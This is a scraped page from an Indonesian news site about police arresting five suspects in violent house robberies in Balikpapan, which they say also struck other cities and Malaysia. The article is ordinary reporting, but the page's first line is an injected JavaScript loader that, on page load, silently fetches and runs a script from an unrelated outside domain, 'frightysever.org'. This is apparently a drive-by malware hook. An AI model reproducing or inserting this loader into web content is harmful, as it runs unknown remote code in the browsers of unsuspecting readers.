(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMAMTAN.COM, BALIKPAPAN – Lima pelaku perampokan di dua perumahan elit Balikpapan berhasil ditangkap oleh jajaran Ditreskrimsus Polda Kaltim, Selasa (17/8/2021) lalu, di Kepulauan Riau.
Kelimanya, beraksi di dua lokasi berbeda. Di Perumahan Regency pada 29 Juli 2021 dan di Perumahan Balikpapan Baru pada 31 Juli 2021. Dua kali beraksi, pelaku bahkan berani menyekap sang pemilik rumah.
“Dari dua TKP yang ada, para korban melapor ke Polresta Balikpapan, lalu dilakukan penyelidikan gabungan dan akhirnya mendapatkan satu orang pelaku. Yaitu inisial SD yang ditangkap tanggal 10 Agustus di Balikpapan. Dari situ kita bisa tindaklanjuti dan kita kembangkan, akhirnya ada 4 orang lainnya,” jelas Wakapolda Kaltim, Brigjen Pol Hariyanto, disadur dari Presisi.co–Jaringan Suara.com, Minggu (22/8/2021).
Keempat pelaku lain berinisial ASD, JI, IS, ASA, lanjut Hariyanto, berhasil ditangkap di Provinsi Kepulauan Riau, tepatnya di Pulau Buluh. Nampak, di keempat kaki pelaku ada luka bekas tembakan karena mencoba untuk kabur.
Baca juga:26 WNI Berhasil Dievakuasi dari Afghanistan Menggunakan Pesawat TNI AU
“Sebelumnya pelaku mau ditangkap di Batam, tapi mereka kabur ke Pulau Buluh. Di situ mereka juga mencoba untuk (kembali) kabur,” ujarnya.
Rupanya, kelima pelaku telah melakukan tindak pidana yang sama secara berulang. Bisa disebut, pelaku adalah spesialis curas lintas provinsi dan lintas negara.
Kelima pelaku setidaknya pernah beraksi di lima kota. Yakni di Surabaya, Kuningan, Barelang (Kepri) dan di Malaysia yaitu di Kuala Lumpur dua kali dan di Johor Baru.
“Nanti kita akan melakukan pengiriman surat melalui Interpol karena memang ada TKP di Malaysia,” ungkapnya.
Dari penangkapan ini, polisi mengamankan sejumlah barang bukti berupa jam tangan, tang, obeng, kamera, serta pisau yang digunakan pelaku untuk mengancam para korbannya.
Hasil kejahatan yang didapatkan, disebutkan untuk kehidupan sehari-hari. Di sisi lain juga untuk biaya mengunjungi kota lainnya.
Baca juga: Satgas Waspada Investasi Setop Operasional 3.365 Pinjol Ilegal
“Informasinya, hasil di Surabaya dibuat untuk ongkos ke Balikpapan. Begitu juga yang di Balikpapan, digunakan sebagai transportasi ke Batam,” terangnya.
Atas perbuatannya, kelima pelaku dijerat Pasal 365 tentang pencurian dengan kekerasan dengan ancaman hukuman penjara seumur hidup. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
This website uses cookies.